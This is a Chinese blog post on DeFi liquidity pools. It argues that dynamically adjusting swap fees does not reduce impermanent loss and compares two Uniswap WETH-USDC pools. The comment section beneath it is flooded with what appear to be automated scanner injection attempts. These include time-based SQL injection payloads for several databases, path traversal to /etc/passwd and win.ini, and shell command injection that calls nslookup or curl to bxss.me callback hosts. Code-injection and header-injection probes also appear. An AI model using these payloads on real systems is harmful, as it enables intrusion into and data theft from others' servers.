动态手续费能降低滑点吗?

上一篇文章我们分析动态调整代币权重对无常损失及收益的影响,动态调整代币权重虽然有助于降低无常损失,但是增大了交易滑点,降低了手续费收益,总体收益并不一定比固定权重高,那么在固定代币权重的情况下,动态调整手续费,有助于减轻无常损失吗?实际上从无常损失的计算公式来看:

image.png


无常损失仅价格相关而与手续费并无关系,也就是说动态调整手续费并不能降低无常损失,无常损失还是仅受价格波动的影响,那么是否可以通过提高手续费的方式弥补无常损失呢?

那么我们来比较一下uniswap上(WETH-USDC 0.05%)和(WETH-USDC 0.3%)这两个代币池的收益情况:

image.png


我们发现(WETH-USDC 0.05%)的日收益率为0.036%,而(WETH-USDC 0.3%)的日收益率为0.032%,降低手续费反而提高了收益率,说明提高手续费并不能更多的弥补无常损失,反而降低了收益率。上面两个资金池的手续费相差6倍,而最后的收益率仅仅差了0.004%,因此通过动态调整手续费对于弥补无常损失也很难起到实质性的帮助。


  admin   2022-6-5

qeNtfPNC2023-8-24 5:52:40
8Vvng4Cs
qeNtfPNC2023-8-24 5:52:41
-1 OR 2+768-768-1=0+0+0+1
qeNtfPNC2023-8-24 5:52:41
-1 OR 3+768-768-1=0+0+0+1
qeNtfPNC2023-8-24 5:52:42
-1 OR 3*2<(0+5+768-768)
qeNtfPNC2023-8-24 5:52:42
-1 OR 3*2>(0+5+768-768)
qeNtfPNC2023-8-24 5:52:51
if(now()=sysdate(),sleep(15),0)
qeNtfPNC2023-8-24 5:53:01
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
qeNtfPNC2023-8-24 5:53:10
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
qeNtfPNC2023-8-24 5:53:19
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
qeNtfPNC2023-8-24 5:53:28
-1; waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:53:37
-1); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:53:46
-1)); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:53:55
1 waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:04
HAAtRrUW'; waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:13
BgyvnK08'); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:23
fBm45MV0')); waitfor delay '0:0:15' --
qeNtfPNC2023-8-24 5:54:31
-5 OR 151=(SELECT 151 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:54:41
-5) OR 304=(SELECT 304 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:54:50
-1)) OR 648=(SELECT 648 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:54:59
V2pbSteT' OR 279=(SELECT 279 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:09
QMcgZLYP') OR 630=(SELECT 630 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:18
M6YkJPgu')) OR 315=(SELECT 315 FROM PG_SLEEP(15))--
qeNtfPNC2023-8-24 5:55:28
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
qeNtfPNC2023-8-24 5:55:37
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
qeNtfPNC2023-8-24 5:55:38
1'"
qeNtfPNC2023-8-24 5:55:38
1����%2527%2522
qeNtfPNC2023-8-24 5:55:39
@@AeSHG
jJQaBOcg2023-9-23 3:24:15
/../../../../../../../../../../windows/system32/BITSADMIN.exe
jJQaBOcg2023-9-23 3:24:16
response.write(9103399*9401488)
jJQaBOcg2023-9-23 3:24:17
'+response.write(9103399*9401488)+'
jJQaBOcg2023-9-23 3:24:17
"+response.write(9103399*9401488)+"
jJQaBOcg2023-9-23 3:24:21
bcc:009247.40289-43304.40289.cd094.19622.2@bxss.me
jJQaBOcg2023-9-23 3:24:22
echo pxiflo$()\ rqadoh\nz^xyu||a #' &echo pxiflo$()\ rqadoh\nz^xyu||a #|" &echo pxiflo$()\ rqadoh\nz^xyu||a #
jJQaBOcg2023-9-23 3:24:22
to@example.com> bcc:009247.40289-43305.40289.cd094.19622.2@bxss.me
jJQaBOcg2023-9-23 3:24:22
../../../../../../../../../../../../../../etc/passwd
jJQaBOcg2023-9-23 3:24:22
&echo eupsqr$()\ oubpej\nz^xyu||a #' &echo eupsqr$()\ oubpej\nz^xyu||a #|" &echo eupsqr$()\ oubpej\nz^xyu||a #
jJQaBOcg2023-9-23 3:24:22
../../../../../../../../../../../../../../windows/win.ini
jJQaBOcg2023-9-23 3:24:23
|echo xkwgij$()\ zoclin\nz^xyu||a #' |echo xkwgij$()\ zoclin\nz^xyu||a #|" |echo xkwgij$()\ zoclin\nz^xyu||a #
jJQaBOcg2023-9-23 3:24:23
file:///etc/passwd
jJQaBOcg2023-9-23 3:24:24
(nslookup -q=cname hitcubdbjljhxc2a22.bxss.me||curl hitcubdbjljhxc2a22.bxss.me))
jJQaBOcg2023-9-23 3:24:24
$(nslookup -q=cname hittxialmsywwc6b3a.bxss.me||curl hittxialmsywwc6b3a.bxss.me)
jJQaBOcg2023-9-23 3:24:24
../
jJQaBOcg2023-9-23 3:24:25
12345'"\'\");|]*{ <>�''
jJQaBOcg2023-9-23 3:24:25
&nslookup -q=cname hitilsybwzgga929c1.bxss.me&'\"`0&nslookup -q=cname hitilsybwzgga929c1.bxss.me&`'
jJQaBOcg2023-9-23 3:24:26
&(nslookup -q=cname hitzscxjesooed7b5f.bxss.me||curl hitzscxjesooed7b5f.bxss.me)&'\"`0&(nslookup -q=cname hitzscxjesooed7b5f.bxss.me||curl hitzscxjesooed7b5f.bxss.me)&`'
jJQaBOcg2023-9-23 3:24:26
|(nslookup -q=cname hitilsdfrypha19aff.bxss.me||curl hitilsdfrypha19aff.bxss.me)
jJQaBOcg2023-9-23 3:24:27
`(nslookup -q=cname hitgoymxrmxwocb7bf.bxss.me||curl hitgoymxrmxwocb7bf.bxss.me)`
jJQaBOcg2023-9-23 3:24:29
!(()&&!|*|*|
jJQaBOcg2023-9-23 3:24:29
^(#$!@#$)(()))******
jJQaBOcg2023-9-23 3:24:29
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
jJQaBOcg2023-9-23 3:24:30
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
jJQaBOcg2023-9-23 3:24:31
'.gethostbyname(lc('hitfy'.'rpqxymweb44ac.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(84).chr(114).chr(66).'
jJQaBOcg2023-9-23 3:24:33
Http://bxss.me/t/fit.txt
jJQaBOcg2023-9-23 3:24:33
http://bxss.me/t/fit.txt?.jpg
jJQaBOcg2023-9-23 3:24:34
/etc/shells
jJQaBOcg2023-9-23 3:24:34
".gethostbyname(lc("hitut"."yfycgpgh59ccc.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(77).chr(105).chr(65)."
jJQaBOcg2023-9-23 3:24:35
c:/windows/win.ini
jJQaBOcg2023-9-23 3:24:35
'"()
jJQaBOcg2023-9-23 3:24:36
bxss.me
jJQaBOcg2023-9-23 3:24:36
'&&sleep(27*1000)*ytwdqp&&'
jJQaBOcg2023-9-23 3:24:36
"+"A".concat(70-3).concat(22*4).concat(113).concat(84).concat(118).concat(87)+(require"socket" Socket.gethostbyname("hityx"+"msvicesf713c8.bxss.me.")[3].to_s)+"
jJQaBOcg2023-9-23 3:24:37
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
jJQaBOcg2023-9-23 3:24:37
"&&sleep(27*1000)*uogtcp&&"
jJQaBOcg2023-9-23 3:24:37
'+'A'.concat(70-3).concat(22*4).concat(97).concat(79).concat(106).concat(89)+(require'socket' Socket.gethostbyname('hitcw'+'agczuarz6a6a5.bxss.me.')[3].to_s)+'
jJQaBOcg2023-9-23 3:24:37
'||sleep(27*1000)*gnerjx||'
jJQaBOcg2023-9-23 3:24:37
';print(md5(31337));$a='
jJQaBOcg2023-9-23 3:24:38
295
jJQaBOcg2023-9-23 3:24:39
"||sleep(27*1000)*uwrabf||"
jJQaBOcg2023-9-23 3:24:40
295
jJQaBOcg2023-9-23 3:24:41
295/.
jJQaBOcg2023-9-23 3:24:44
";print(md5(31337));$a="
jJQaBOcg2023-9-23 3:24:46
${@print(md5(31337))}
jJQaBOcg2023-9-23 3:24:48
${@print(md5(31337))}\
jJQaBOcg2023-9-23 3:24:49
'.print(md5(31337)).'
jJQaBOcg2023-9-23 3:33:25
o8NGbFeH
jJQaBOcg2023-9-23 3:33:29
-1 OR 2+695-695-1=0+0+0+1
jJQaBOcg2023-9-23 3:33:30
-1 OR 3+695-695-1=0+0+0+1
jJQaBOcg2023-9-23 3:33:31
-1 OR 3*2<(0+5+695-695)
jJQaBOcg2023-9-23 3:33:32
-1 OR 3*2>(0+5+695-695)
jJQaBOcg2023-9-23 3:34:10
if(now()=sysdate(),sleep(15),0)
jJQaBOcg2023-9-23 3:34:46
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
jJQaBOcg2023-9-23 3:35:20
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
jJQaBOcg2023-9-23 3:35:53
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
jJQaBOcg2023-9-23 3:36:25
-1; waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:37:01
-1); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:37:30
-1)); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:38:05
1 waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:38:43
fxSkZ2Gn'; waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:39:27
UBrTLTIn'); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:40:03
RiAHpask')); waitfor delay '0:0:15' --
jJQaBOcg2023-9-23 3:40:37
-5 OR 252=(SELECT 252 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:41:10
-5) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:41:43
-1)) OR 902=(SELECT 902 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:42:17
HtEb8YKX' OR 660=(SELECT 660 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:42:52
moh9Lico') OR 158=(SELECT 158 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:43:23
9RR1yNa5')) OR 961=(SELECT 961 FROM PG_SLEEP(15))--
jJQaBOcg2023-9-23 3:43:49
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
jJQaBOcg2023-9-23 3:44:21
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
jJQaBOcg2023-9-23 3:44:22
1'"
jJQaBOcg2023-9-23 3:44:23
1����%2527%2522
jJQaBOcg2023-9-23 3:44:24
@@GoCrY
Remark: